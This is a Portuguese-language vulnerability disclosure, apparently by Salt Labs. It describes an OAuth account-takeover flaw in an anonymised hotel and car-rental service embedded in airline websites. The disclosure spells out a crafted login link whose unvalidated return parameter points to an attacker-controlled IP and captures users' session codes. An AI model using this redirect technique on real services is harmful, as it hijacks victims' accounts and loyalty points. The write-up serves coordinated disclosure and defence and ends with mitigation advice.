Ataques de API à Cadeia de Suprimentos: Vulnerabilidade de Assunção de Conta Coloca Milhões de Usuários de Companhias Aéreas em Risco

A apropriação de conta de um provedor de serviços terceirizado pode colocar milhões de usuários de companhias aéreas em todo o mundo em risco.

Resumo

O Salt Labs identificou uma vulnerabilidade de apropriação de conta em um popular serviço de viagens online de alto nível para reservas de hotéis e aluguel de carros. O serviço está integrado a dezenas de serviços online de companhias aéreas comerciais e permite que os usuários adicionem reservas de hotéis aos seus itinerários de viagem.

Ao explorar essa falha, invasores podem obter acesso não autorizado à conta de qualquer usuário dentro do sistema, permitindo efetivamente que se passem pela vítima e realizem uma série de ações em seu nome — incluindo reservar hotéis e alugar carros usando os pontos de fidelidade da companhia aérea da vítima, cancelar ou editar informações de reserva e muito mais.

Essa vulnerabilidade pode ser explorada por meio de um link malicioso que ignora as verificações de segurança do serviço de viagens. Os invasores podem distribuir esse link por e-mail, mensagens de texto ou em sites controlados por eles para atrair as vítimas. Assim que o link é clicado e após uma autenticação bem-sucedida no serviço oficial da companhia aérea, o invasor obtém acesso total à conta do usuário dentro do sistema de viagens.

Essa vulnerabilidade pode ter colocado milhões de usuários de companhias aéreas online em risco. Após nossa pesquisa e processo de divulgação coordenada, o serviço de viagens online identificou, confirmou e abordou os riscos, que agora foram confirmados como mitigados.

Isenção de responsabilidade

Após a divulgação coordenada da equipe do Salt Labs, este relatório será totalmente anonimizado para cumprir a solicitação de anonimato feita pela empresa de viagens de classe mundial mencionada.  

Motivação

O mundo dos serviços online é incrível. Não seria exagero dizer que ele, por si só, mudou a vida de milhões de pessoas. Hoje, em vez de ir a um supermercado, você pode simplesmente comprar tudo o que precisa por meio de um aplicativo móvel e, em pouco tempo, tudo chegará à sua porta.

Os benefícios dos serviços online parecem não ter fim; no entanto, o que deve ser levado em consideração são as Interfaces de Programação de Aplicações (APIs) associadas a esses serviços. Em termos simples, as APIs são o idioma que esses serviços online falam. Se você olhar "sob o capô" do seu aplicativo móvel, verá que é exatamente isso que está acontecendo nos bastidores.

Embora essa funcionalidade incrível ofereça um valor óbvio aos usuários online, o potencial não para por aí. Veja bem, esses serviços podem ser usados trivialmente pelo consumidor final, mas também podem ser usados por outros serviços.

Pense nisso por um segundo: um supermercado que oferece um serviço de entrega. Será que o supermercado entrou no ramo de entregas? Bem, não necessariamente. Na verdade, na maioria dos casos, a resposta é não. Mas, se você é um supermercado, por que deixar isso te desanimar? Se eles não podem oferecer um serviço de entrega por conta própria, sempre podem usar um serviço de entrega terceirizado. Tudo o que precisam fazer é conectar sua loja online a um serviço de entrega online e deixar que esse serviço cuide de toda a logística — eles só precisam fornecer os detalhes e pronto — agora eles têm um supermercado online que oferece serviço de entrega. O melhor de tudo é que os clientes não fazem ideia das etapas tomadas para estabelecer o serviço — para eles, estão interagindo apenas com a sua loja online, nada mais.

E assim, um enorme ecossistema de APIs se desenvolve bem debaixo do nariz dos clientes. Serviços usando outros serviços que, por sua vez, usam outros serviços, e assim por diante.

Claro, isso é incrível. Oferece serviços melhores para os clientes online e uma ampla gama de opções de flexibilidade para empresas online em quase qualquer setor. No entanto, também tem um efeito colateral menos óbvio.

Sempre que ocorre uma interação entre serviços, algum tipo de confiança deve ser compartilhada entre ambas as partes. No caso de um supermercado online, os detalhes da entrega, número de telefone e talvez até o cartão de crédito do cliente precisam ser compartilhados com o provedor do serviço de entrega. A partir desse momento, o supermercado não pode mais proteger esses dados, pois eles saíram de suas mãos — e os usuários agora precisam confiar na segurança de um provedor terceirizado, do qual, como mencionado, geralmente nem têm conhecimento.

Isso, é claro, apresenta uma nova oportunidade para os invasores. Do ponto de vista deles, a superfície de ataque disponível simplesmente se multiplicou, proporcionando mais oportunidades para encontrar problemas de segurança.

Imagine que um supermercado online faça um trabalho incrível na proteção dos seus clientes, tornando muito difícil para um invasor entrar no sistema e roubar dados privados. No entanto, o invasor pode optar por atacar o serviço de entrega em vez da própria loja, já que se trata de uma empresa diferente; existe a possibilidade de os seus controlos de segurança não serem tão rigorosos quanto os da loja online e, se for bem-sucedido, o objetivo é alcançado, uma vez que o serviço de entrega detém agora todas as informações privadas necessárias.

Este tipo de ataque é chamado de "Ataque à Cadeia de Abastecimento de API", no qual um invasor escolhe atacar um elo mais fraco no ecossistema de API do serviço.

Embora os profissionais de segurança conheçam os ataques à cadeia de abastecimento há muito tempo, eles são muito menos conhecidos pelo público em geral, e temos visto poucos casos reais de ataques à cadeia de abastecimento de API ou vulnerabilidades técnicas publicadas.

É também importante mencionar que muitos controlos e políticas de segurança de governação, como o RGPD, a HIPAA e muitos outros, foram criados e implementados ao longo dos anos para lidar com este risco. Embora tenham melhorado a situação e reduzido o risco, o problema não desaparece simplesmente.

Foi por isso que decidimos abordar esta questão: tentar encontrar um ataque real à cadeia de abastecimento de API que pudesse afetar milhões de utilizadores online. Esperamos que isto lance mais luz sobre este tema super importante e aumente a consciencialização sobre o mesmo.  

Escolher um Alvo

Então, partimos numa missão para encontrar um ataque real à cadeia de abastecimento de API, mas por onde deveríamos começar a procurar?

Começámos a procurar serviços online relacionados com viagens que oferecessem integração de terceiros. O nosso objetivo era encontrar um serviço popular que partilhasse uma confiança considerável e informações valiosas do serviço que faz a chamada.

Depois de muita pesquisa, encontrámos um serviço que poderia ser o que procurávamos.

Como mencionado anteriormente, optámos por anonimizar o serviço neste artigo e, doravante, referir-nos-emos a ele como "Acme Travel". O serviço fornece soluções de reserva de hotéis e aluguer de automóveis online.

Após mais algumas pesquisas, descobrimos que este serviço é, de facto, um fornecedor popular para muitas companhias aéreas comerciais, bem como para outros serviços de retalho. Além disso, a integração neste serviço permite que os utilizadores reservem hotéis e aluguem automóveis usando os seus pontos de fidelidade da companhia aérea, o que significa que esta informação é confiável e partilhada entre a companhia aérea e o serviço Acme Travel.

Fantástico, era exatamente isto que procurávamos. Obviamente, invadir uma companhia aérea na tentativa de roubar pontos de fidelidade seria uma tarefa muito difícil para qualquer atacante, mas talvez este novo serviço, ou o ponto de ligação entre estes serviços, possa mudar esta equação.

Munidos de motivação e de um alvo potencial, tínhamos agora tudo o que precisávamos para iniciar a nossa investigação. Tudo o que precisávamos de fazer era encontrar uma vulnerabilidade de segurança. Que comecem os jogos.

O Plano

Do ponto de vista técnico, a melhor forma de atingir o nosso objetivo era encontrar um cenário de tomada de conta (account takeover) nos serviços da Acme-Travel. Isto permitir-nos-ia iniciar sessão diretamente no serviço como qualquer utilizador e agir em seu nome — incluindo, claro, efetuar reservas de hotéis e aluguer de automóveis usando os pontos de fidelidade da companhia aérea do utilizador. Para o conseguir, tivemos primeiro de compreender melhor a companhia aérea, o serviço Acme-Travel e a sua ligação.

Processo Normal

Vamos começar por descrever o processo típico de início de sessão num site de uma companhia aérea que optou por utilizar o serviço Acme Travel. Analisámos, obviamente, muitos serviços de companhias aéreas online. No entanto, para efeitos desta investigação, mencionaremos uma companhia aérea fictícia que segue exatamente o mesmo fluxo técnico que Salt Airlines.

A certa altura, após efetuar a reserva inicial na companhia aérea, os utilizadores da aplicação principal da Salt Airlines — www.saltairlines.sec podem optar por adicionar uma reserva de hotel ou aluguel de carro à sua viagem. Caso escolham fazer isso, serão redirecionados para a integração do serviço Acme Travel acme.saltairlines.sec. Observe que, da perspectiva do usuário, tudo isso acontece de forma transparente; não é fácil perceber que eles estão agora em um aplicativo de terceiros e não mais no site original da Salt Airlines, já que o design da web é personalizado e a experiência do usuário está completamente alinhada com o serviço original da companhia aérea.

Assim que o usuário é redirecionado para o site integrado da Acme-Travel, ele pode iniciar o login usando suas credenciais da companhia aérea. Nesse momento, o backend da Acme-Travel gerará um link e redirecionará o usuário de volta ao site principal da companhia aérea para realizar a autenticação por meio de uma tecnologia chamada OAuth. Após um login bem-sucedido, esse processo recupera as informações da conta do usuário no site da companhia aérea, incluindo seus dados pessoais e o status de pontos de fidelidade.

Após concluir essas etapas, o usuário é redirecionado de volta para acme.saltairlines.sec, onde agora pode acessar e usar seus pontos de fidelidade da companhia aérea para reservar hotéis e aluguéis de carros conforme desejar.

Aqui está uma análise técnica das solicitações geradas como parte desse processo:

1. Quando o usuário clica no botão de login, seu navegador segue este link:
   ‍
   https://acme.saltairlines.sec/start?tr_returnUrl=https%3A%2F%2Facme.saltairlines.sec%2F&language=en&tr_backend_session=example

2. O usuário é então redirecionado automaticamente para a página de login oficial da Salt Airlines (www.saltairlines.sec), iniciando um fluxo OAuth:
   ‍
   https://www.saltairlines.sec/authorization.oauth2?response_type=code&client_id=acmemiles&state=35b217d3-df3f-4b64-b0ab-1a4382f450b4&redirect_uri=https://acme.saltairlines.sec/

3. Após a autenticação bem-sucedida, o usuário é redirecionado para o seguinte link (valor do parâmetro tr_returnUrl), que inclui um código secreto e um ID como parâmetros de consulta:
   ‍
   https://acme.saltairlines.sec/?tr_code=920b677d-00eb-4f68-a58e-5b265ada522d&tr_id=d14b207037b25f497bfdb9139e47312bc06e4e4a&tr_state=

4. Por fim, acme.saltairlines.sec cria um cookie de sessão (JSESSIONID) enviando uma solicitação POST com o código e o ID para este endpoint:
   ‍
   https://acme.saltairlines.sec/SessionEndpoint

Processo malicioso

Agora que entendemos claramente como os serviços funcionam e interagem entre si, é hora de tentar encontrar falhas de segurança no processo.

Ao examinar detalhadamente o fluxo de autenticação, percebemos que o parâmetro tr_returnUrl encontrado na solicitação de login inicial determina, na verdade, para onde o tr_code e o tr_id serão enviados após a conclusão bem-sucedida da autenticação.

Como um lembrete rápido, o tr_code e tr_id os parâmetros são equivalentes às credenciais do usuário, uma vez que um invasor que os possua pode iniciar sessão no serviço Acme Travel sem qualquer necessidade adicional de autenticação.

https://acme.saltairlines.sec/start?tr_returnUrl=https%3A%2F%2Facme.saltairlines.sec%2F&language=en&tr_backend_session=example

No fluxo normal, os tr_code e tr_id parâmetros são enviados para o serviço Acme-Travel, no entanto, ao manipular o tr_returnUrl parâmetro, tentamos redirecionar o tr_code e tr_id para um servidor sob nosso controle. Se bem-sucedido, isso nos permitiria capturar essas credenciais, possibilitando acesso não autorizado e o sequestro de contas.

E parece que funcionou! Ao enviar uma solicitação com um tr_returnUrl parâmetro manipulado que aponta para um servidor que controlamos, podemos ver que, de fato, uma solicitação do cliente é recebida, a qual contém tanto o tr_code quanto o tr_id parâmetros.

Basicamente, isso nos permite assumir o controle da conta de um usuário da companhia aérea assim que ele se autentica com sucesso no site da empresa.

Para realizar nosso ataque, seguimos as seguintes etapas:

1. Na etapa 1 do fluxo de login normal, observe o tr_returnUrl parâmetro. Este valor contém o domínio que receberá os valores code e id após um login bem-sucedido.
   
   Em nosso caso de uso, o tr_returnUrl original é:
   
   tr_returnUrl=https%3A%2F%2Facme.saltairlines.sec%2F&

2. Ao manipular esse valor, um invasor pode substituí-lo por uma URL sob seu controle, como:
   
   tr_returnUrl=http://142.93.164.25/evil

3. O invasor então compartilha esse link modificado com a vítima usando qualquer método de comunicação disponível, como e-mail, mensagens SMS, postagens em fóruns online, etc.
4. Uma vítima que encontrar esse link terá pouquíssimas pistas sobre a presença do código malicioso, já que o domínio do link é o domínio oficial da companhia aérea e a solicitação parece completamente legítima.
5. Como o servidor backend não valida o tr_returnUrl domínio, ele aceita qualquer valor como um redirecionamento válido. Consequentemente, ele gera o link OAuth correspondente da Salt Airlines:

6. Após a vítima se autenticar com sucesso na página oficial da companhia aérea, os code e id valores são enviados para a URL controlada pelo atacante. Nesse caso, a solicitação seria assim:

https://acme.saltairlines.sec/start?tr_returnUrl=http://142.93.164.25/evil&language=en&tr_backend_session=c077f47e-c60e-45ec-96d7-e512812fa638

7. O atacante pode então usar essas credenciais para obter um token de sessão válido fazendo uma solicitação ao seguinte endpoint:

https://acme.saltairlines.sec/SessionEndpoint

8. Com esse token de sessão, o atacante pode acessar o sistema como se fosse a vítima e realizar ações em seu nome, incluindo, é claro, reservar hotéis e alugar carros usando apenas os pontos de fidelidade da companhia aérea da vítima.

9. O atacante sai de férias de graça :)

Notas:

Se a vítima já estiver conectada ao www.saltairlines.sec, ela será redirecionada para o servidor do atacante com o code e id com um único clique, sem a necessidade de um login adicional.

Como o link manipulado utiliza um domínio legítimo do cliente (com a manipulação ocorrendo apenas no nível do parâmetro, e não no nível do domínio), isso torna o ataque difícil de detectar por meio de inspeção de domínio padrão ou métodos de listas de bloqueio/permissão.

Conclusão

Esta vulnerabilidade descoberta permite que invasores assumam o controle de contas de vítimas com um único clique. Embora a invasão ocorra dentro do serviço integrado à Acme, ela oferece aos invasores acesso total às informações de identificação pessoal (PII) do usuário da conta principal da Salt Airlines, incluindo todos os dados de milhagem e recompensas. Além da simples exposição de dados, os invasores podem realizar ações em nome do usuário, como criar pedidos ou modificar detalhes da conta. Este risco crítico destaca as vulnerabilidades em integrações de terceiros e a importância de protocolos de segurança rigorosos para proteger os usuários contra acesso e manipulação não autorizados de contas.

O que posso fazer?

É importante oferecer aos leitores que chegaram a este ponto da nossa publicação algumas recomendações sobre o que podem fazer para evitar ataques com esta e outras técnicas semelhantes de ataque à cadeia de suprimentos de API.

Essas recomendações, no entanto, variam dependendo do seu papel neste ecossistema de API.

Usuários de Serviços

Como usuário de serviços online, é sempre aconselhável ter cautela ao receber links de fontes não confiáveis, mesmo que os links pareçam totalmente legítimos à primeira vista e levem a sites legítimos e confiáveis.

Consumidores de Serviços

Se o seu serviço consome ou utiliza um serviço de terceiros, você deve prestar atenção especial ao ponto de integração entre esses serviços, bem como à relação de confiança entre eles, e verificar se tudo atende aos seus padrões de segurança desejados e se as informações compartilhadas entre os serviços são estritamente necessárias.

Também é aconselhável realizar verificações de segurança extras, bem como metodologias de teste de intrusão, dependendo do tipo e da sensibilidade da relação entre os serviços.  

Produtores de Serviços

Como produtor de serviços, é fundamental garantir que seu serviço e seus pontos de integração estejam bem protegidos. Atenção especial deve ser dada às etapas de design e implementação para garantir que os padrões de segurança sejam atendidos e implementados corretamente. Além disso, recomenda-se considerar o uso de um fornecedor terceirizado capaz de identificar automaticamente quaisquer lacunas de postura existentes e tráfego anômalo à medida que ocorrem, para apoiar uma abordagem de defesa em camadas mais robusta.